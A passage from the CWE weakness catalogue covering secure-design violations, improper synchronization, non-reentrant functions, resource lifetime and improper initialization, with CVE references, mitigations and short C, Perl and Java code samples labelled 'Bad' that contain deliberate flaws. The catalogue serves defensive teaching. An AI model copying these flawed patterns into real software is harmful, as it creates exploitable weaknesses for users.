The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Observed Examples

Reference	Description
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client. *https://www.cve.org/CVERecord?id=CVE-2006-6588*
CVE-2006-7142	Hard-coded cryptographic key stored in executable program. *https://www.cve.org/CVERecord?id=CVE-2006-7142*
CVE-2005-4002	Hard-coded cryptographic key stored in executable program. *https://www.cve.org/CVERecord?id=CVE-2005-4002*
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. *https://www.cve.org/CVERecord?id=CVE-2006-4068*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Notes

Relationship

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-544]Sean Barnum and Michael Gegick. "Never Assuming that Your Secrets Are Safe". 2005 September 4. < https://web.archive.org/web/20220126060054/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/never-assuming-that-your-secrets-are-safe >.2023-04-07.

[REF-542]Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". 1981 September. Information Sciences Institute. < https://www.ietf.org/rfc/rfc0793.txt >.2023-04-07.

CWE-657: Violation of Secure Design Principles

Weakness ID : 657
Structure : Simple
Abstraction : Class

Description

The product violates well-established principles for secure design.

Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1558
ParentOf	B	250	Execution with Unnecessary Privileges	606
ParentOf	C	636	Not Failing Securely ('Failing Open')	1409
ParentOf	C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')	1411
ParentOf	C	638	Not Using Complete Mediation	1413
ParentOf	C	653	Improper Isolation or Compartmentalization	1445
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	1448
ParentOf	C	655	Insufficient Psychological Acceptability	1450
ParentOf	C	656	Reliance on Security Through Obscurity	1452
ParentOf	C	671	Lack of Administrator Control over Security	1487
ParentOf	B	1192	Improper Identifier for IP Block used in System-On-Chip (SOC)	1994
ParentOf	C	1395	Dependency on Vulnerable Third-Party Component	2289

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Example 2:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 3:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 4:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 5:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Example 6:

The "SweynTooth" vulnerabilities in Bluetooth Low Energy (BLE) software development kits (SDK) were found to affect multiple Bluetooth System-on-Chip (SoC) manufacturers. These SoCs were used by many products such as medical devices, Smart Home devices, wearables, and other IoT devices. [REF-1314] [REF-1315]

Observed Examples

Reference	Description
CVE-2019-6260	Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. *https://www.cve.org/CVERecord?id=CVE-2019-6260*
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." *https://www.cve.org/CVERecord?id=CVE-2007-5277*
CVE-2006-7142	Hard-coded cryptographic key stored in executable program. *https://www.cve.org/CVERecord?id=CVE-2006-7142*
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections. *https://www.cve.org/CVERecord?id=CVE-2007-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 4-1		Req SD-3
ISA/IEC 62443	Part 4-1		Req SD-4

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 4-1		Req SI-1

References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-546]Sean Barnum and Michael Gegick. "Design Principles". 2005 September 9. < https://web.archive.org/web/20220126060046/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/design-principles >.2023-04-07.

[REF-542]Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". 1981 September. Information Sciences Institute. < https://www.ietf.org/rfc/rfc0793.txt >.2023-04-07.

[REF-1138]Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. < https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/ >.

[REF-1314]ICS-CERT. "ICS Alert (ICS-ALERT-20-063-01): SweynTooth Vulnerabilities". 2020 March 4. < https://www.cisa.gov/news-events/ics-alerts/ics-alert-20-063-01 >.2023-04-07.

[REF-1315]Matheus E. Garbelini, Sudipta Chattopadhyay, Chundong Wang, Singapore University of Technology and Design. "Unleashing Mayhem over Bluetooth Low Energy". 2020 March 4. < https://asset-group.github.io/disclosures/sweyntooth/ >.2023-01-25.

CWE-662: Improper Synchronization

Weakness ID : 662
Structure : Simple
Abstraction : Class

Description

The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1525
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1461
ParentOf	C	667	Improper Locking	1472
ParentOf	B	820	Missing Synchronization	1729
ParentOf	B	821	Incorrect Synchronization	1731
ParentOf	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1903
CanPrecede	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	895

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	C	667	Improper Locking	1472

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf	B	366	Race Condition within a Thread	910
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1263
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1296
ParentOf	C	667	Improper Locking	1472
ParentOf	B	764	Multiple Locks of a Critical Resource	1613
ParentOf	B	820	Missing Synchronization	1729
ParentOf	B	821	Incorrect Synchronization	1731
ParentOf	B	833	Deadlock	1762
ParentOf	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1903
ParentOf	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1945

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf	B	366	Race Condition within a Thread	910
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1263
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1296
ParentOf	C	667	Improper Locking	1472
ParentOf	B	764	Multiple Locks of a Critical Resource	1613
ParentOf	B	820	Missing Synchronization	1729
ParentOf	B	821	Incorrect Synchronization	1731
ParentOf	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1903
ParentOf	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1945

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Scope	Impact	Likelihood
Confidentiality Other	Read Application Data Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Use industry standard APIs to synchronize your code.

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(Bad)*

```
void f(pthread_mutex_t *mutex) {
  pthread_mutex_lock(mutex);
  /* access shared resource */
  pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C *(Good)*

```
int f(pthread_mutex_t *mutex) {
  int result;
  result = pthread_mutex_lock(mutex);
  if (0 != result)
    return result;
  /* access shared resource */
  return pthread_mutex_unlock(mutex);
}
```

Example 2:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C *(Bad)*

```
static void print (char * string) {
  char * word;
  int counter;
  for (word = string; counter = *word++; ) {
    putc(counter, stdout);
    fflush(stdout);
    /* Make timing window a little larger... */
    sleep(1);
  }
}
int main(void) {
  pid_t pid;
  pid = fork();
  if (pid == -1) {
    exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:

```
PARENT
child
```

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

```
PcAhRiElNdT
[blank line]
[blank line]
```

Observed Examples

Reference	Description
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-1782*
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://www.cve.org/CVERecord?id=CVE-2009-0935*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	734	2370
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2387
MemberOf	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	2400
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2432
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2469
MemberOf	C	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	1154	2481
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
CERT C Secure Coding	SIG31-C	CWE More Abstract	Do not access shared objects in signal handlers
CLASP			State synchronization error
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID : 663
Structure : Simple
Abstraction : Base

Description

The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1457
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1154
ParentOf	V	558	Use of getlogin() in Multithreaded Application	1281
PeerOf	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	2100

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2350

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Other	Modify Memory Read Memory Modify Application Data Read Application Data Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Use reentrant functions if available.

Phase: Implementation

Add synchronization to your non-reentrant function.

Phase: Implementation

In Java, use the ReentrantLock Class.

Demonstrative Examples

Example 1:

In this example, a signal handler uses syslog() to log a message:

Example Language: *(Bad)*

```
char *message;
void sh(int dummy) {
   syslog(LOG_NOTICE,"%s\n",message);
   sleep(10);
   exit(0);
}
int main(int argc,char* argv[]) {
   ...
   signal(SIGHUP,sh);
   signal(SIGTERM,sh);
   sleep(10);
   exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Example 2:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(Bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
   allow();
} else {
   deny();
}
```

Observed Examples

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler *https://www.cve.org/CVERecord?id=CVE-2001-1349*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2004-2259

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2432
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-547]SUN. "Java Concurrency API". < https://docs.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html >.2023-04-07.

[REF-548]Dipak Jha, Software Engineer, IBM. "Use reentrant functions for safer signal handling". < https://archive.ph/rl1XR >.2023-04-07.

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID : 664
Structure : Simple
Abstraction : Pillar

Description

The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When code does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2596
ParentOf	C	118	Incorrect Access of Indexable Resource ('Range Error')	298
ParentOf	C	221	Information Loss or Omission	563
ParentOf	B	372	Incomplete Internal State Distinction	926
ParentOf	C	400	Uncontrolled Resource Consumption	971

Nature	Type	ID	Name	Page
ParentOf	C	404	Improper Resource Shutdown or Release	987
ParentOf	B	410	Insufficient Resource Pool	1005
ParentOf	B	471	Modification of Assumed-Immutable Data (MAID)	1129
ParentOf	B	487	Reliance on Package-level Scope	1175
ParentOf	V	495	Private Data Structure Returned From A Public Method	1197
ParentOf	V	496	Public Data Assigned to Private Array-Typed Field	1199
ParentOf	B	501	Trust Boundary Violation	1210
ParentOf	V	580	clone() Method Without super.clone()	1319
ParentOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1373
ParentOf	C	662	Improper Synchronization	1457
ParentOf	C	665	Improper Initialization	1465
ParentOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1471
ParentOf	C	668	Exposure of Resource to Wrong Sphere	1478
ParentOf	C	669	Incorrect Resource Transfer Between Spheres	1480
ParentOf	C	673	External Influence of Sphere Definition	1492
ParentOf	C	704	Incorrect Type Conversion or Cast	1547
ParentOf	C	706	Use of Incorrectly-Resolved Name or Reference	1553
ParentOf	B	911	Improper Update of Reference Count	1811
ParentOf	C	913	Improper Control of Dynamically-Managed Code Resources	1814
ParentOf	C	922	Insecure Storage of Sensitive Information	1835
ParentOf	C	1229	Creation of Emergent Resource	2016
ParentOf	B	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	2064
ParentOf	B	1329	Reliance on Component That is Not Updateable	2231

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Testing

Use Static analysis tools to check for unreleased resources.

Observed Examples

Reference	Description
CVE-2018-1000613	Cryptography API uses unsafe reflection when deserializing a private key *https://www.cve.org/CVERecord?id=CVE-2018-1000613*
CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). *https://www.cve.org/CVERecord?id=CVE-2022-21668*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	2432
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf	C	1370	ICS Supply Chain: Common Mode Frailties	1358	2528
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Notes

Maintenance

More work is needed on this entry and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO39-C	CWE More Abstract	Do not alternately input and output from a stream without an intervening flush or positioning call

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery
196	Session Credential Falsification through Forging

CWE-665: Improper Initialization

Weakness ID : 665
Structure : Simple
Abstraction : Class

Description

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf	B	455	Non-exit on Failed Initialization	1095

Nature	Type	ID	Name	Page
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1622
ParentOf	B	908	Use of Uninitialized Resource	1802
ParentOf	C	909	Missing Initialization of Resource	1806
ParentOf	B	1279	Cryptographic Operations are run Before Supporting Units are Ready	2132
ParentOf	C	1419	Incorrect Initialization of Resource	2292

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	908	Use of Uninitialized Resource	1802
ParentOf	C	909	Missing Initialization of Resource	1806
ParentOf	B	1188	Initialization of a Resource with an Insecure Default	1983

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf	V	456	Missing Initialization of a Variable	1096
ParentOf	V	457	Use of Uninitialized Variable	1102

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf	V	456	Missing Initialization of a Variable	1096
ParentOf	V	457	Use of Uninitialized Variable	1102

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Access Control	Bypass Protection Mechanism *If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may*	

Scope	Impact	Likelihood
	produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(Bad)*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(Bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection. *https://www.cve.org/CVERecord?id=CVE-2001-1471*
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution. *https://www.cve.org/CVERecord?id=CVE-2008-3637*
CVE-2008-4197	Use of uninitialized memory may allow code execution. *https://www.cve.org/CVERecord?id=CVE-2008-4197*
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution. *https://www.cve.org/CVERecord?id=CVE-2008-2934*
CVE-2007-3749	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges. *https://www.cve.org/CVERecord?id=CVE-2007-3749*
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak. *https://www.cve.org/CVERecord?id=CVE-2008-0063*
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free. *https://www.cve.org/CVERecord?id=CVE-2008-0062*
